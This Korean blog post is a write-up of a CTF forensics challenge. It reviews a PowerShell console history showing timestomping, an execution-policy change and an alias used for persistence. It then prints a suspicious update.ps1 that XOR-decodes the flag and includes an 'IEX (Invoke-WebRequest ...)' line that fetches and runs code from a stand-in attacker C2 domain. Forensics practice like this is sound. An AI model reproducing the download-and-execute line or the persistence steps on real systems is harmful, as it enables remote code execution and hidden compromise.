CTF/UofTCTF

[UofTCTF] - [for] No grep write up

by 승빈이 2024. 1. 16.

 

 

다음으로 Hourglass의 연장선 문제입니다.

 

일단 해당 문제는 침해사고 문제이며 이러한 문제는 powershell, cmd 등 콘솔창에 플래그를 입력하고 해당 기록을 찾는 문제가 대부분 있어서 먼저 powershell 관련 로그를 확인해봤습니다.

 

여기서 powershell 로그를 확인하는 방법은 1. 이벤트로그 2. consolehost_history.txt 2가지 경우가 있고 두 가지 마다 각각의 흔적이 다릅니다.

 

일단 전 문제에서 .txt를 먼저 살펴봤기에 2번 방법을 먼저 살펴봤습니다.

cd .\\Desktop\\
clear
ls
                                                                                                ifconfig
ipconfig 
netstat -r
clear
exit
cd .\\Desktop\\
clear
ls
.\\stomp_time.exe --help
.\\stomp_time.exe -h
.\\stomp_time.exe 
clear
ls
.\\stomp_time.exe -m 
.\\stomp_time.exe -m r -p C:\\Users\\analyst\\Desktop\\stomp_time.exe
ls
.\\stomp_time.exe -m -p C:\\Users\\analyst\\Desktop\\stomp_time.exe
ls
.\\stomp_time.exe -z 10-20-1999 14:02:01 -p C:\\Users\\analyst\\Desktop\\stomp_time.exe
ls -la
ls
New-Item "new.txt"
clear
ls
cd ..
cd .\\Users\\analyst\\Desktop\\
clear
ls
.\\stomp_time.exe -z "10-20-1994 14:2:01" -p .\\new.txt
ls
Get-Alias
clear
Set-ExecutionPolicy RemoteSigned
clear
ls
clear
Set-Alias -Name UpdateSystem -Value "C:\\Windows\\Web\\Wallpaper\\Theme2\\update.ps1"
clear
Get-Alias
Get-Alias -Name "UpdateSystem"
exit
Get-Alias
notepad $PROFILE
echo $PROFILE`

.\\update.ps1

 

누가 봐도 powershell script 파일인 update.ps1 파일이 수상해보여서 확인을 해봤습니다.

$String_Key = 'W0wMadeitthisfar'

$NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')'

$chars = 34, 95, 17, 57, 2, 16, 3, 18, 68, 16, 12, 54, 4, 82, 24, 45, 35, 0, 40, 63, 20, 10, 58, 25, 3, 65, 0, 20

$keyAscii = $String_Key.ToCharArray() | ForEach-Object { [int][char]$_ }

$resultArray = $chars -bxor $keyAscii

IEX (Invoke-WebRequest -Uri '<https://somec2attackerdomain.com/chrome.exe>' -UseBasicParsing).Content

 

다음과 같이 코드가 실행되었고 다음과 같이 xor 해주면 플래그를 획득할 수 있습니다.

반응형

댓글